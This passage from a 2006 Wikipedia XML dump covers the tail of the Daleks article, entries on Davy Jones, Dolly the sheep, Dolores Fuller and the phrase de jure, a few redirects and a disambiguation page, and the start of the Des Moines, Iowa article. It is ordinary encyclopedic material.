*''[[Genesis of the Daleks]]'': [[March 8]]&amp;ndash;[[April 12]], [[1975]]
*''[[Destiny of the Daleks]]'': [[September 1]]&amp;ndash;[[September 22]], [[1979]]
*''[[Resurrection of the Daleks]]'': [[February 8]]&amp;ndash;[[February 15]], [[1984]]
*''[[Revelation of the Daleks]]'': [[March 23]]&amp;ndash;[[March 30]], [[1985]]
*''[[Remembrance of the Daleks]]'': [[October 5]]&amp;ndash;[[October 26]], [[1988]]
*''[[Dalek (Doctor Who episode)|Dalek]]'': [[April 30]], [[2005]]
*''[[Bad Wolf]]'': [[June 11]], [[2005]]
*''[[The Parting of the Ways]]'': [[June 18]], [[2005]]

====Comic Relief special====
*''[[Doctor Who and the Curse of Fatal Death]]'': [[March 12]], [[1999]] (''[[Comic Relief]]'' charity special)

===Stage plays===
* ''[[The Curse of the Daleks]]'': [[Wyndham's Theatre]], [[London]] (premiere [[December 21]] [[1965]])
* ''[[Doctor Who and the Daleks in the Seven Keys to Doomsday]]'': [[Adelphi Theatre]], London (premiere [[December 16]] [[1974]])
* ''[[Doctor Who - The Ultimate Adventure]]'': [[Wimbledon Theatre]], London (premiere [[March 23]] [[1989]])

===Original novels===
*''War of the Daleks'' by [[John Peel (writer)|John Peel]] (''[[Eighth Doctor Adventures]]'')
*''Legacy of the Daleks'' by John Peel (''Eighth Doctor Adventures'')
*''The Dalek Factor'' by [[Simon Clark]] (''[[Telos Doctor Who novellas]]'')
*''I am a Dalek'' by [[Gareth Roberts]] (''[[Tenth Doctor Adventures]]'', to be published [[11 May]] [[2006]])

===Audio plays===
====Doctor Who====
*''[[The Genocide Machine]]''
*''[[The Apocalypse Element]]''
*''[[The Mutant Phase]]''
*''[[The Time of the Daleks]]''
*''[[Jubilee (Doctor Who audio)|Jubilee]]''
*''[[The Juggernauts]]''
*''[[Terror Firma]]''
====[[Bernice Summerfield|Professor Bernice Summerfield]]====
*''Death and the Daleks''
====Dalek Empire====
*''Invasion of the Daleks''
*''The Human Factor''
*''Death to the Daleks!''
*''Project Infinity''
====Dalek Empire II: Dalek War====
*''Chapter One''
*''Chapter Two''
*''Chapter Three''
*''Chapter Four''
====Dalek Empire III====
*''The Exterminators''
*''The Healers''
*''The Survivors''
*''The Demons''
*''The Warriors''
*''The Future''

==See also==
*[[Dalek Empire]]
*[[Dalek variants]]
*[[Abslom Daak]], Dalek Killer
*[[wikiquote:Doctor_Who#Daleks|Dalek-related Quotes at Wikiquote]]

==References==
*Howe, David J &amp; Walker, Stephen James (2003). ''The Television Companion: The Unofficial and Unauthorised Guide to DOCTOR WHO'' (2nd ed.) Surrey, UK: Telos Publishing, ISBN 1-903389051-0.
*[[Peter Haining|Haining, Peter]], (1988) &quot;Doctor Who and the Merchandisers&quot;, ''Doctor Who: 25 Glorious Years'' London, UK: W.H. Allen, ISBN 0-31837661-X.
*Davies, Kevin (director) (1993). ''More than 30 Years in the TARDIS'' London, UK: BBC Video.
*Howe, David J &amp; Walker, Stephen James (1994). ''The First Doctor Handbook'' London, UK: Virgin Publishing, ISBN 0-426-2-430-1.
*Finklestone, Peter (producer) (2003). &quot;Talking Daleks&quot; featurette, ''The Dalek Invasion of Earth'' London, UK: BBC Video.
*Seaborne, Gilliane (director) (2005). &quot;Dalek&quot;, ''[[Doctor Who Confidential]]'' BBC Wales.
*Nation, Terry (ed.) (1979). ''Terry Nation's Dalek Special'', Target Books

==External links==
{{Spoken Wikipedia-3|2005-10-21|en-Dalek-part 1.ogg|en-Dalek-part 2.ogg|en-Dalek-part 3.ogg}}
*[http://www.jessesword.com/sf/view/1647 Science fiction citations]: Oxford English Dictionary citation of &quot;dalek&quot;
*[http://www.daleklinks.co.uk/ Dalek Links]: the Web's most comprehensive listing of Dalek Web sites
*[http://www.projectdalek.co.uk/ Project Dalek]: build your own Dalek
*[http://www.dalekcity.co.uk Dalek City]: Dalek Building guides
*[http://www.dalekplanet.com Dalek Planet]: 3D models of every major variation of Dalek including comprehensive painting guide.
*[http://www.dalek6388.co.uk/ Dalek 6388]: about the various Dalek props built for the series
*[http://homepages.bw.edu/~jcurtis/Z1R0_2.htm Doctor Who Collectibles: An Annotated Bibliography]
*[http://www.bbc.co.uk/doctorwho/games/lastdalek/index.htm The Last Dalek]: Flash game by New Media Collective, on the BBC website
*[http://www.bbc.co.uk/wales/southeast/halloffame/arts/bill_roberts.shtml How the Daleks were built]: BBC Wales interview with engineer Bill Roberts
====Dalek humour====
*[http://artistic-insanity.net/song/daleksong.html The Dalek Song]: a parody based on &quot;[[The Llama Song]]&quot; by Burton Earny
*[http://www.regdeveloper.co.uk/2005/12/01/dalek_thespian/ Candid Dalek shares thesp titbits]: off-camera conversation between a Dalek and [[Billie Piper]], by [[Verity Stob]]
*[http://www.thesurrealist.co.uk/dalek The Surrealist Dalek]: A Surrealist Dalek Phrase Generator, By [[The Surrealist]]
{{Dalek Stories}}

[[Category:Daleks]]
[[Category:Fictional cyborgs]]
[[Category:Fictional mutants]]
[[Category:Villain races]]
{{featured article}}

[[de:Daleks]]</text>
    </revision>
  </page>
  <page>
    <title>Davy Jones</title>
    <id>9141</id>
    <revision>
      <id>39037721</id>
      <timestamp>2006-02-10T07:22:58Z</timestamp>
      <contributor>
        <username>Barrettmagic</username>
        <id>270786</id>
      </contributor>
      <comment>updated image reference.</comment>
      <text xml:space="preserve">:''This article is about the actor and singer. For the evil spirit of the sea, see [[Davy Jones' Locker]]. For the American baseball player, see [[Davy Jones (baseball)]]. Additionally, there is also actor/singer named David Robert Jones who uses the stage name [[David Bowie]].

[[Image:Dj3.jpg|frame|right|Davy Jones, 1967]]
'''Davy Jones''', an actor and singer, was born David Thomas Jones on [[December 30]], [[1945]] in [[Manchester]], [[England]].  His father had hopes for him as a jockey, but Jones was more interested in being in show business, and  as a teenager he appeared on British soap operas, including ''[[Coronation Street]]''.  He appeared to great acclaim in the musical ''[[Oliver!]]'' as [[The Artful Dodger|the Artful Dodger]], playing the role both in [[London]] and on [[Broadway theatre|Broadway]], where he was nominated for a [[Tony Award]].  (When the film of the musical was made in [[1968]], Jones was at the height of his TV success and too heavily committed to take the part.) He then toured in another musical adaptation of a [[Charles Dickens]] classic, ''[[The Pickwick Papers|Pickwick]]'', and did some American television as well as recording three singles.  

Jones' next step was eerily prefigured. As part of the &quot;Oliver&quot; cast, Jones had appeared on the Ed Sullivan Show on the same night the Beatles made their American TV debut on the Sullivan stage. Coincidentally, his great fame was to come from a band that would mirror the Beatles: the Monkees.  

From [[1965]] to [[1970]] Jones was a member of [[The Monkees]], a pop-rock group formed expressly for a TV show of the same name.  He sang lead vocals on many of the group's songs, including one of their biggest hits, &quot;[[Daydream Believer]]&quot;.  After the show went off the air and the group disbanded, he continued to perform solo, later joining with fellow-Monkee [[Micky Dolenz]] and songwriters Tommy Boyce and Bobby Hart as a short-lived group. He has since performed with his former bandmates in reunion tours and has appeared in several productions of ''[[Oliver!]]'' as Fagin. He has also continued to race horses with some success in his native [[England]] while residing in Snyder County, Pennsylvania.

==External links==
* [http://www.thecheappop.com/davycheek.html Davy on Moranis]
* [http://www.davyjones.net Official Web Site]

[[Category:1945 births|Jones, Davy]]
[[Category:Living people|Jones, Davy]]
[[Category:British pop singers|Jones, Davy]]
[[Category:Coronation Street actors|Jones, Davy]]
[[Category:English film actors|Jones, Davy]]
[[Category:Musical theatre actors|Jones, Davy]]
[[Category:British male singers|Jones, Davy]]
[[Category:The_Monkees|Jones, Davy]]


[[da:Davy Jones]]
[[pl:Davy Jones]]
[[simple:Davy Jones]]
[[sv:Davy Jones]]</text>
    </revision>
  </page>
  <page>
    <title>Discharge</title>
    <id>9142</id>
    <revision>
      <id>40232633</id>
      <timestamp>2006-02-19T03:14:35Z</timestamp>
      <contributor>
        <username>Metropolitan90</username>
        <id>262163</id>
      </contributor>
      <comment>band Discharge is already listed as a disambiguation</comment>
      <text xml:space="preserve">{{Wiktionarypar|Discharge}}

'''Discharge''' may refer to:
* A [[military discharge]], issued when a member of the [[armed forces]] is released from service.
* [[Termination of employment]].
* A [[patient]] discharge, when a patient leaves a [[hospital]] after his or her [[medical]] [[treatment]] is completed.
* An [[Electrostatic discharge|electrostatic]] or [[corona discharge]], types of [[Current (electricity)|electrical current]] flow.
* [[Partial discharge]], a temporary breakdown of [[Insulator|electrical insulation]].
* The [[Discharge (hydrology)|average discharge]] of a [[river]], meaning the amount of water flowing through the river.
* [[Effluent]] released into a river or sea.
* The [[United Kingdom|British]] [[punk rock]] band ''[[Discharge (band)|Discharge]]''.
* A [[bankruptcy discharge]], the [[injunction]] that bars acts to enforce certain debts.
* [[Vagina|Vaginal]] discharge, a normal occurrence for some women during their [[menstrual cycle]], or a [[medical sign]] of many conditions including [[endometrial cancer]], [[yeast infection]]s, and some [[Sexually-transmitted infection|STD]]s.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Druzism</title>
    <id>9145</id>
    <revision>
      <id>15907055</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Druze]]
</text>
    </revision>
  </page>
  <page>
    <title>Dolly the sheep</title>
    <id>9146</id>
    <revision>
      <id>42085249</id>
      <timestamp>2006-03-03T18:56:25Z</timestamp>
      <contributor>
        <username>Syrthiss</username>
        <id>334792</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/62.190.231.201|62.190.231.201]] ([[User talk:62.190.231.201|talk]]) to last version by Bookofjude</comment>
      <text xml:space="preserve">[[Image:Dolly the sheep2-thumb.jpg|right|250px|thumb|Dolly and her first-born lamb, Bonnie]]
'''Dolly''' ([[5 July]] [[1996]] – [[14 February]] [[2003]]), an [[sheep|ewe]], was the first [[mammal]] to have been successfully [[cloning|cloned]] from an adult [[cell (biology)|cell]]. She was cloned at the [[Roslin Institute]] in [[Scotland]] and lived there until her death when she was 6. Her birth was announced on [[22 February]] [[1997]].

The sheep was originally code-named &quot;6LL3&quot;. The name &quot;Dolly&quot; came from a suggestion by the stockmen who helped with her birth, in honour of [[Dolly Parton]], because it was a [[mammary gland|mammary]] cell that was cloned&lt;ref&gt;BBC News. 2000. ''[http://news.bbc.co.uk/1/hi/sci/tech/769915.stm Listen to public, says Dolly scientist]''&lt;/ref&gt;. The technique that was made famous by her birth is [[somatic cell nuclear transfer]], in which a cell is placed in a de-nucleated [[ovum]], the two cells fuse and then develop into an [[embryo]]. When Dolly was cloned in 1996 from a cell taken from a six-year-old ewe, she became the centre of much controversy that still exists today. 

On [[9 April]] [[2003]] her [[Taxidermy|stuffed remains]] were placed at [[Edinburgh]]'s [[Royal Museum]], part of the [[National Museums of Scotland]]. 

==Creating Dolly==
Dolly was created by a research team led by [[Ian Wilmut]] at the Roslin Institute in Scotland. The goal of the research was the reliable reproduction of animals [[genetically modified organism|genetically modified]] to produce therapeutic proteins in their milk. Wilmut's team had already created two sheep clones from embryonic cells grown in culture called Megan and Morag; the work was published in ''[[Nature (journal)|Nature]]'' in 1996&lt;ref&gt;Campbell, K.H.S., McWhir, J., Ritchie, W.A. and  Wilmut, A. 1996. Sheep cloned by nuclear transfer from a cultured cell line. ''Nature'' 380:64-66&lt;/ref&gt;. Dolly was a Finn Dorset lamb, created from fully differentiated adult mammary cells using a technique called [[somatic cell nuclear transfer]]; her creation was described in a ''Nature'' publication in 1997&lt;ref&gt;Wilmut, I., Schnieke, A.E., McWhir, J., Kind, A.J., Campbell, K.H.S. 1997. Viable offspring derived from fetal and adult mammalian cells. ''Nature'' 385:810-813&lt;/ref&gt;. Dolly was the first mammalian clone produced from an adult cell.

==Controversy==
[[Image:Dolly_the_sheep.jpg|left|thumb|Dolly the Sheep]]

In 1999 research was published in the journal ''[[Nature (journal)|Nature]]'' suggesting that Dolly may have been susceptible to [[premature aging]], due to shortened [[telomere]]s in her cells&lt;ref&gt;Shiels, P.G. et al. 1999. Analysis of telomere lengths in cloned sheep. ''Nature'' 399:316-317 [http://news.bbc.co.uk/1/hi/sci/tech/353617.stm BBC article]&lt;/ref&gt;. It was speculated that these were passed on from her parent, who was six years old when the genetic material was taken from her, so that Dolly may have been ''genetically'' six years old at birth. This is because telomere length is reduced after each [[cell division]], which requires [[DNA replication]] before [[mitosis]] occurs. The [[polymerase]], part of the replication machinery, cannot reach the end of the [[chromosome]] being replicated and clips a little of the telomere at the end off every time replication occurs. However, Dr. John Thomas indicated that most cloned animals actually have telomeres of normal length and in [[serial clones]] the telomeres are actually getting longer in each successive generation. This is because the enzyme [[telomerase]] is active in those clones, which keeps the telomeres from shortening. However, telomerase, which is present in many bacteria, can be responsible for causing [[mutation]] through its enzymatic activity, which leads to [[cancer]]. In fact, in the course of [[carcinogenesis]] many human cancer cells produce telomerase, which is not normally present in most adult human cells.

Possible signs of her condition were reported in January 2002, when Dolly was five years old. She had developed a potentially debilitating form of [[arthritis]] at an unusually early age. This supported the theory of premature [[senescence]], although Dr. Dai Grove-White of the Faculty of Veterinary Science at [[Liverpool University]] was reported as saying, &quot;Conceivably arthritis could be due to the cloning but equally it could not be. For all we know, she may have damaged her leg jumping over a gate and developed arthritis.&quot;

The arthritis further fueled worry among some that this form of cloning may not be appropriate for mammals, and there is now a consensus both in- and outside scientific community that at this point the risk of unforeseen effects of cloning on the clone makes experiments in human [[reproductive cloning]] premature and unethical.

Supporters of this method of cloning counter that the technique used to clone Dolly simply needs to be refined. However, others contend that with very limited understanding of the nascent field of [[applied genetics]], scientists can not and should not attempt to control the action of so many [[gene]]s at once. Many outside the scientific community have stated that this is vindication for their initial assertions that any form of cloning is ethically wrong and should be banned.

==Death==
[[Image:dollyscotland.JPG|right|thumb|Dolly's remains as exhibited in the Royal Museum of Scotland]]
On [[February 14]], [[2003]] it was announced that Dolly had a progressive lung disease. A [[necropsy]] confirmed she had [[Ovine]] [[Pulmonary]] [[Adenocarcinoma]] ([[Jaagsiekte]]), a fairly common disease of sheep. Roslin scientists stated that they did not think there was a connection with Dolly being a clone, and that other sheep on the farm had similar ailments. Such lung diseases are especially a danger for sheep kept indoors, as Dolly had to be for security reasons. 
&lt;!-- A post-mortem examination is planned for Dolly and it is hoped that this test will indicate whether or not her illness was connected to her being a clone. [Was this carried out? Any chance of an update?] --&gt;

==Legacy==
After the cloning was successfully demonstrated by Dolly's creators, many other large mammals have been cloned, including [[horse]]s and [[cattle|bulls]]. Cloning is sometimes considered a promising tool for preserving [[endangered species]], usually by those who do not work in species conservation. Most animal conservation professionals point out that cloning does not alleviate the problems of loss of genetic diversity (see [[inbreeding]]) and [[habitat]], ergo must be considered an experimental technology for the time being, and all in all would only rarely be worth the cost, which on a per-individual basis far exceeds conventional techniques such as [[captive breeding]] or [[embryo transfer]]. The [[2000]]-[[2001]] attempt to clone a [[gaur]] failed, with the animal, &quot;[[Noah (cloned gaur)|Noah]]&quot;, dying 2 days after birth, and the attempt to clone [[argali]] sheep did not produce viable embryos. The attempt to clone a [[banteng]] bull was more successful, as were the attempts to clone [[mouflon]], both resulting in viable offspring. The banteng example is a case illustrating the circumstances under which the uncertainties of cloning attempts are outweighed by the benefits: the cell donator was an adult of a rare [[genotype]] combination which had been killed in a fight; the single surviving cloned individual now is integrated into the herd at [[San Diego Zoo]] and healthy (it had to undergo [[orchiopexy]], but this was probably due to an inbreeding and not a cloning problem).

There have been some attempts and many suggestions to clone [[extinct animal]]s, but those that have seen any research ([[thylacine]], [[huia]], [[Pyrenean Ibex]] and [[mammut]]) have so far resulted in failures. Altogether, the only real benefit of cloning for animal conservation exists in some cases of large mammals where embryo transfer techniques are already established and the issue at hand is preservation of a rare genetic lineage, as in the case of the San Diego banteng.

==References==
&lt;references/&gt;

==External links==
*[http://www.liebertpub.com/clo Cloning and Stem Cells], a peer-reviewed journal edited by Ian Wilmut
*[http://www.sciencemuseum.org.uk/antenna/dolly/index.asp Dolly the Sheep, 1996-2003 from the Science Museum, London]
*[http://www.roslin.ac.uk/public/01-12-98-dnt.html Roslin Institute: Update on Dolly and nuclear transfer]
*[http://www.roslin.ac.uk/imagelibrary/ Photos of Dolly and other cloned animals at Roslin]

&lt;!--categories--&gt;
[[Category:Sheep]]
[[Category:Famous animals]]
[[Category:Cloning]]

&lt;!--interwikis--&gt;
[[ca:Ovella Dolly]]
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[[id:Domba Dolly]]
[[it:Dolly]]
[[ja:ドリー]]
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[[pl:Owca Dolly]]
[[pt:Ovelha Dolly]]
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[[zh:多利]]</text>
    </revision>
  </page>
  <page>
    <title>Datura Stramonium</title>
    <id>9150</id>
    <revision>
      <id>15907060</id>
      <timestamp>2002-06-18T12:12:26Z</timestamp>
      <contributor>
        <username>PierreAbbat</username>
        <id>1123</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#redirect [[Datura stramonium]]</text>
    </revision>
  </page>
  <page>
    <title>Didjeridoo</title>
    <id>9151</id>
    <revision>
      <id>15907061</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Didgeridoo]]
</text>
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  </page>
  <page>
    <title>Diablo II Lord of Destruction</title>
    <id>9152</id>
    <revision>
      <id>15907062</id>
      <timestamp>2005-05-25T10:53:46Z</timestamp>
      <contributor>
        <username>Master Thief Garrett</username>
        <id>234433</id>
      </contributor>
      <minor />
      <comment>#redirect [[Lord of Destruction expansion pack]] &gt;&gt; #redirect [[Diablo II: Lord of Destruction]]</comment>
      <text xml:space="preserve">#redirect [[Diablo II: Lord of Destruction]]</text>
    </revision>
  </page>
  <page>
    <title>Dakar Rallye</title>
    <id>9154</id>
    <revision>
      <id>35681198</id>
      <timestamp>2006-01-18T15:12:49Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Paris Dakar Rally&quot; +&quot;Dakar Rally&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Dakar Rally]]</text>
    </revision>
  </page>
  <page>
    <title>Dolores Fuller</title>
    <id>9156</id>
    <revision>
      <id>38260195</id>
      <timestamp>2006-02-05T04:48:41Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">[[Image:Bride Monster Catfight.jpg|thumb|right|300px|Dolores Fuller (right) opposite her on and offscreen rival, Loretta King, in ''Bride of the Monster'']]
'''Dolores Fuller''' (b. [[1923]]) is best known as the one-time girlfriend of the notorious film director [[Ed Wood, Jr.]] She played the protagonist's girlfriend in ''[[Glen or Glenda]]'' and a filing clerk in ''[[Bride of the Monster]]''.  

According to Fuller, the female lead in the latter film was written for Fuller, but Wood gave it to [[Loretta King]] instead when she offered to help &quot;finance&quot; the movie. King denies the allegation to this day. Fuller left Wood shortly after. Fuller later earned popularity in her own right, serving as a body double for [[Dinah Shore]] in ''The Dinah Shore Show'', and wrote several songs for [[Elvis Presley]], including 'Rock-a-hula Baby', 'I Got Lucky', and 'Spinout'.

She was portrayed by [[Sarah Jessica Parker]] in [[Tim Burton]]'s [[1994]] Wood [[biopic]], ''[[Ed Wood (movie)|Ed Wood]]''.

{{US-film-actor-stub}}

[[Category:1923 births|Fuller, Dolores]]
[[Category:Living people|Fuller, Dolores]]

[[de:Dolores Fuller]]</text>
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  </page>
  <page>
    <title>Duvergers Law</title>
    <id>9157</id>
    <revision>
      <id>15907067</id>
      <timestamp>2003-05-04T05:34:35Z</timestamp>
      <contributor>
        <username>Eclecticology</username>
        <id>372</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Duverger's law]]</text>
    </revision>
  </page>
  <page>
    <title>Dr Strangelove</title>
    <id>9158</id>
    <revision>
      <id>15907068</id>
      <timestamp>2002-12-27T23:38:36Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb]]</text>
    </revision>
  </page>
  <page>
    <title>De jure</title>
    <id>9160</id>
    <revision>
      <id>39371730</id>
      <timestamp>2006-02-12T18:58:19Z</timestamp>
      <contributor>
        <username>MizuAmina</username>
        <id>262954</id>
      </contributor>
      <text xml:space="preserve">{{wiktionary}}
'''''De jure''''' (in [[Classical Latin]] '''''de iure''''') is an expression that means &quot;based on [[law]]&quot;, as contrasted with ''[[de facto]]'', which means &quot;in fact&quot;. 

The terms ''de jure'' and ''de facto'' are used instead of &quot;in principle&quot; and &quot;in practice&quot;, respectively, when one is describing [[politics|political]] situations.  They are also often used when discussing [[racial segregation]].  A practice may exist ''de facto'', where the people obey a contract as though there were a law although there is none.  A process known as &quot;[[desuetude]]&quot; may allow ''de facto'' practices to replace obsolete laws.  On the other hand, practices may exist ''de jure'' and not be obeyed or observed by the people.

The Latin ''de jure'' should not be confused with the [[French language|French]] ''du jour'', which translates to &quot;of the day&quot;, as, for example, in ''[[soupe du jour]]'', or soup of the day.

''De jure'' and ''de facto'' standards can differ; for example, the [[U.S.]] has no ''de jure'' language, whereas the ''de facto'' language is English. Similarly, the U.S. ''de jure'' standard for measurement of road distances is the [[kilometre]] (as the U.S. is party to the ''[[Convention du Mètre]]''), but the ''de facto'' standard is the [[mile]].

==See also==
* [[List of Latin phrases]]
* [[De facto]]

==References==
{{unsourced}}

[[Category:Latin legal phrases]]

[[de:De jure]]
[[es:De iure]]
[[it:De jure]]
[[he:דה יורה]]
[[nl:De jure]]
[[pt:De jure]]
[[fi:De jure]]
[[sv:De jure]]
[[vi:De jure]]</text>
    </revision>
  </page>
  <page>
    <title>Des Moines, Iowa</title>
    <id>9163</id>
    <revision>
      <id>42092895</id>
      <timestamp>2006-03-03T19:58:04Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/205.221.1.253|205.221.1.253]] ([[User talk:205.221.1.253|talk]]) to last version by 128.178.41.23</comment>
      <text xml:space="preserve">{{Redirect|Des Moines}}
[[Image:Des_Moines.jpg|thumb|right|300px|Des Moines skyline, as seen from the [[Iowa State Capitol]].  The tallest building is the headquarters for [[Principal Financial Group]] and is the tallest building in [[Iowa]].]]
{{Infobox U.S. City|
 city = Des Moines |
 state = Iowa |
 motto = |
 nickname = |
 flag = Des Moines flag.svg|
 seal =  |
 map = IAMap-doton-DesMoines.PNG |
 map size = |
 map cap = Location in [[Iowa]]|
 founded =  |
 incorporated = [[September 22]], [[1851]] |
 county = [[Polk County, Iowa|Polk County]] |
 mayor = [[Frank Cownie]]  |
 area = 200.1 [[square kilometre|km&amp;sup2;]] (77.2 [[square mile|mi&amp;sup2;]]) |
 area water = 3.8 km&amp;sup2; (1.5 mi&amp;sup2;) |
 area percentage = 1.88% |
 census yr = 2000|
 city pop = 198,682|
 metro pop =  481,394|
 density = 835.1|
 time zone = Central|
 utc = 6|
 north_coord = 41.5909 |
 west_coord = 93.6209|
 web = www.ci.des-moines.ia.us|
|}}

'''Des Moines''' (French for 'Of the Monks') ([[International Phonetic Alphabet|pronounced]] {{IPA|/dɪˈmɔɪn/}} in [[English language|English]], [[Image:ltspkr.png]][[Media:DesMoines1.ogg|{{IPA|/demwan/}}]] in [[French language|French]]) is the capital city of the [[U.S. state]] of [[Iowa]]. It was incorporated on [[September 22]], [[1851]], as Fort Des Moines, until it was shortened to &quot;Des Moines&quot; in [[1857]].[http://www.ci.des-moines.ia.us/departments/AC/Information/AChistoricalinfo.htm]
It is also the [[county seat]] of [[Polk County, Iowa|Polk County]]. According to the [[2000]] census, the population of the city is 198,682.

Des Moines is located in the south central part of the state. The [[Des Moines River]] and the [[Raccoon River]] meet just south of the downtown and serve as the city's primary water supply.

Many insurance companies are headquartered in Des Moines, including the [[Principal Financial Group]], Equitable of Iowa, Allied Insurance, ARAG Legal Insurance, and American Republic Insurance Company.  Long known as the &quot;Hartford of the West,&quot; Des Moines replaced [[Hartford, Connecticut]], as the number one city for insurance in the United States in 2004.  As a center of financial and insurance services, the metro area appears to be well poised for continued growth.  

==History==
Des Moines was founded in May 1843 when Captain [[James Allen]] built a garrison (fort) on the site where the [[Des Moines River|Des Moines]] and [[Raccoon River|Raccoon]] Rivers merge. Allen wanted to use the name Fort Raccoon, but the American War Department told him to name it [[Fort Des Moines]]. The original origin of the name ''Des Moines'' is uncertain. It could have referred to the ''river of the [[Moingonas]]'', named after an Indian tribe that resided in the area and built burial mounds. Others see it as referring to [[Trappists|Trappist monks]], some of whom lived in huts at the mouth of the river, or connected to the phrase ''de moyen'' in French, meaning middle, because of its location between the [[Mississippi river|Mississippi]] and [[Missouri river|Missouri rivers]]. 

Settlers came and lived near the fort, and on [[May 25]], [[1846]], Fort Des Moines became the seat of Polk County. On [[September 22]], [[1851]], it was incorporated as a city, and its town charter was approved in a vote on [[October 18]]. In 1857, the name Fort Des Moines was shortened to Des Moines alone and it was made the capital of [[Iowa]]. (The capital was in [[Iowa City, Iowa|Iowa City]] before that.) By 1900, Des Moines was Iowa's largest city with a population of 62,139.

[[image:Birthplace of Des Moines.jpg|thumb|200px|right|Fort Des Moines memorial is located north of [[Principal Park]]]]
In 1907, the city adopted a [[city commission government]] known as the &quot;Des Moines Plan,&quot; consisting of an elected mayor and four commissioners who were responsible for public works, public property, public safety, and finance. This form of government was scrapped in 1950 in favor of a [[council-manager]] government, and tweaked in 1967 so that four of the six city council members were elected by ward rather than at-large.

Like many cities, Des Moines began losing people to its [[suburb]]s after reaching a peak population of 208,982 in 1960. Construction of the [[Interstate Highway System]] during the late 1950s and 1960s, capped off with the completion of [[Interstate 235 (Iowa)|Interstate 235]] in 1968, made access to the suburbs easier.

The skyline of downtown Des Moines changed during the 1970s and 1980s as several new [[skyscraper]]s were built. Until then the 19-story Equitable Building, dating back to 1924, was the tallest building in the city. That changed as the 25-story Financial Center was completed in 1972 and the 36-story Ruan Center was completed in 1974. They were later joined by the 30-story [[Marriott International|Marriott]] hotel (1981), the 18-story Hub Tower (1985), and Iowa's tallest building, [[Principal Financial Group]]'s 44-story tower at 801 Grand (1990). This time period also saw the opening of the Civic Center of Greater Des Moines (1979), the [[Des Moines Botanical Center]] (1979), the [[Iowa Events Center#Polk County Convention Complex|Polk County Convention Complex]] (1985), and the State of Iowa Historical Building (1987). The Des Moines [[skyway|skywalk]] system also began to take shape during the 1980s. By the beginning of 2006, the skywalk system was over three miles (5 km) long and connected most major downtown buildings.

Des Moines made national headlines during the [[Great Flood of 1993]]. Heavy rains throughout June and early July caused the Des Moines and Raccoon Rivers to rise above flood stage levels. The Des Moines Water Works was submerged by floodwaters during the early morning hours of [[July 11]], [[1993]], leaving an estimated 250,000 people without running water for 12 days and without drinking water for 20 days.

The extensive redevelopment of the downtown area has continued in recent years. The new Science Center of Iowa and the [[Iowa Events Center]] opened in 2005, while the new central branch of the Des Moines Public Library, designed by [[David Chipperfield]], is scheduled to open [[April 8]], [[2006]]. In 2002 the Principal Financial Group and the city of Des Moines announced plans for the Principal Riverwalk, which will run along both sides of the Des Moines and feature new trails, pedestrian bridges across the river, a fountain and skating plaza, and a &quot;civic garden&quot; in front of the Des Moines City Hall. Several existing downtown buildings have either been converted or are being converted to [[loft]] apartments and [[condominium]]s in an effort to attract more residents to the downtown area. This trend is highlighted by the success of the &quot;East Village&quot; district of shops, studios, and housing between the capitol district and the Des Moines river.

Fueled in part by recent development in Des Moines, the suburbs are growing at a faster pace than the city. [[West Des Moines, Iowa|West Des Moines]], in particular, now has over 50,000 people and is home to the [[Jordan Creek Town Center]], the largest shopping center in Iowa, as well as several [[Wells Fargo]] office complexes, including a new corporate campus that is scheduled for completion in 2007.

== Geography ==
[[Image:IowaStateCapitol.jpg|thumb|300px|The State Capitol of Iowa, featuring its golden dome.]]
Des Moines is located at 41&amp;deg;35'27&quot; North, 93&amp;deg;37'15&quot; West (41.590939, -93.620866){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 200.1 [[square kilometre|km&amp;sup2;]] (77.2 [[square mile|mi&amp;sup2;]]).  196.3 km&amp;sup2; (75.8 mi&amp;sup2;) of it is land and 3.8 km&amp;sup2; (1.5 mi&amp;sup2;) of it is water.  The total area is 1.88% water.

===Metropolitan area===
The Des Moines [[United States metropolitan area|Metropolitan Statistical Area]] consists of five central Iowa counties: [[Polk County, Iowa|Polk]], [[Dallas County, Iowa|Dallas]], [[Warren County, Iowa|Warren]], [[Madison County, Iowa|Madison]], and [[Guthrie County, Iowa|Guthrie]]. The area had a 2000 census population of 481,394 and an estimated 2004 population of 511,878 [http://www.silo.lib.ia.us/specialized-services/datacenter/datatables/MetroArea/metroestpopcomp20002004.pdf]. The Des Moines-[[Newton, Iowa|Newton]]-[[Pella, Iowa|Pella]] [[Combined Statistical Area]] consists of those five counties plus [[Jasper County, Iowa|Jasper]] and [[Marion County, Iowa|Marion]] counties; the 2000 census population of this area was 550,659. (Before metropolitan areas were redefined in [[2003]], the Des Moines metropolitan area only consisted of Polk, Dallas, and Warren counties.) Recently, Des Moines annexed certain parcels of land in the northeast, southeast, and southern corners of Des Moines, particularly areas which border the recent highway &amp;quot;bypass&amp;quot; that has been constructed.

===Suburbs===
